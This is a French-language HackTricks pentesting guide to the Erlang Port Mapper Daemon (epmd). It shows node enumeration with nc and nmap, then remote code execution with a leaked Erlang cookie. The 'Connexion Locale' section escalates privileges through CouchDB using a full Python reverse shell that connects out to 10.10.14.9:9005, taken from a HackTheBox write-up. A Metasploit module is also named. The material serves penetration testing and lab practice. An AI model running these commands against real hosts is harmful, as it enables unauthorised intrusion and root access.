4369 - Pentesting Erlang Port Mapper Daemon (epmd)

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

D'autres façons de soutenir HackTricks :

Informations de base

Le Démon de mappage de port Erlang (epmd) sert de coordinateur pour les instances Erlang distribuées. Il est responsable de la mise en correspondance des noms de nœuds symboliques avec les adresses des machines, garantissant essentiellement que chaque nom de nœud est associé à une adresse spécifique. Ce rôle de epmd est crucial pour l'interaction et la communication transparentes entre différents nœuds Erlang à travers un réseau.

Port par défaut : 4369

PORT     STATE SERVICE VERSION
4369/tcp open  epmd    Erlang Port Mapper Daemon

Ceci est utilisé par défaut sur les installations de RabbitMQ et CouchDB.

Énumération

Manuel

echo -n -e "\x00\x01\x6e" | nc -vn <IP> 4369

#Via Erlang, Download package from here: https://www.erlang-solutions.com/resources/download.html
dpkg -i esl-erlang_23.0-1~ubuntu~xenial_amd64.deb
apt-get install erlang
erl #Once Erlang is installed this will promp an erlang terminal
1> net_adm:names('<HOST>'). #This will return the listen addresses

Automatique

nmap -sV -Pn -n -T4 -p 4369 --script epmd-info <IP>

PORT     STATE SERVICE VERSION
4369/tcp open  epmd    Erlang Port Mapper Daemon
| epmd-info:
|   epmd_port: 4369
|   nodes:
|     bigcouch: 11502
|     freeswitch: 8031
|     ecallmgr: 11501
|     kazoo_apps: 11500
|_    kazoo-rabbitmq: 25672

Connexion à distance

Si vous pouvez dévoiler le cookie d'authentification, vous pourrez exécuter du code sur l'hôte. Habituellement, ce cookie est situé dans ~/.erlang.cookie et est généré par Erlang au premier démarrage. S'il n'est pas modifié ou défini manuellement, il s'agit d'une chaîne aléatoire [A:Z] d'une longueur de 20 caractères.

greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]

Eshell V8.1 (abort with ^G)

At last, we can start an erlang shell on the remote system.

(test@target.fqdn)1>os:cmd("id").
"uid=0(root) gid=0(root) groups=0(root)\n"

Plus d'informations sur https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/ L'auteur partage également un programme pour forcer le cookie:

Connexion Locale

Dans ce cas, nous allons abuser de CouchDB pour escalader les privilèges localement:

HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
(anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).
"homer\n"
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).

Exemple tiré de https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution Vous pouvez utiliser la machine Canape HTB pour pratiquer comment exploiter cette vulnérabilité.

Metasploit

#Metasploit can also exploit this if you know the cookie
msf5> use exploit/multi/misc/erlang_cookie_rce

Shodan

  • port:4369 "at port"

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks:

Dernière mise à jour